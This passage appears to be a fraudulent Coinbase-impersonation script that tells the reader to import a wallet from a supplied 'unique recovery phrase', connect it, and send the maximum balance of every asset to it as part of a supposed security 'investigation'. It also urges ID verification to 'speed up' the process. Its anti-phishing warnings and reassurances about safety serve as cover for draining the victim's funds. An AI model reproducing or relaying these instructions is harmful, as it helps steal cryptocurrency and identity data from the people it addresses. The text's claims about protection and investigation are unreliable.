After that, click "Import Wallet" to proceed. You will then be prompted to create a username for your wallet, which you can do so if you would like.

Your new unique recovery phrase

For your security, please remember that your unique recovery phrase is critical for accessing your Coinbase wallet account. It is strictly private and must never be shared with anyone, including Coinbase support staff. Coinbase will never ask you for your recovery phrase or any sensitive account information via email, phone, or chat. If anyone requests it, it is likely a phishing attempt.

Open the Coinbase Wallet app and click “Receive”. Then, select “Connect to Coinbase” and click “Authorize”.

Next, open the Coinbase app and click the “Send” button. Choose the asset you wish to send, then select “Coinbase Wallet” as the recipient.

Click “Max” to send the full amount and proceed with the transfer.

If you get prompted to verify your ID so the funds can get sent quicker, please do so. This will help our investigation conclude faster.

If you are unable to send any assets, you may need to convert them to a supported asset before completing the transfer.

Built for safety

The new wallet will securely store your assets during the investigation process, ensuring that they remain protected from any potential risks associated with the compromised wallet.

By transferring your assets to a new wallet, we can mitigate the possibility of unauthorized access or further security vulnerabilities while we work to identify and resolve the issues with your current wallet.

This precautionary measure allows us to thoroughly investigate the situation without putting your funds at additional risk, ensuring the integrity of your assets throughout the resolution process.
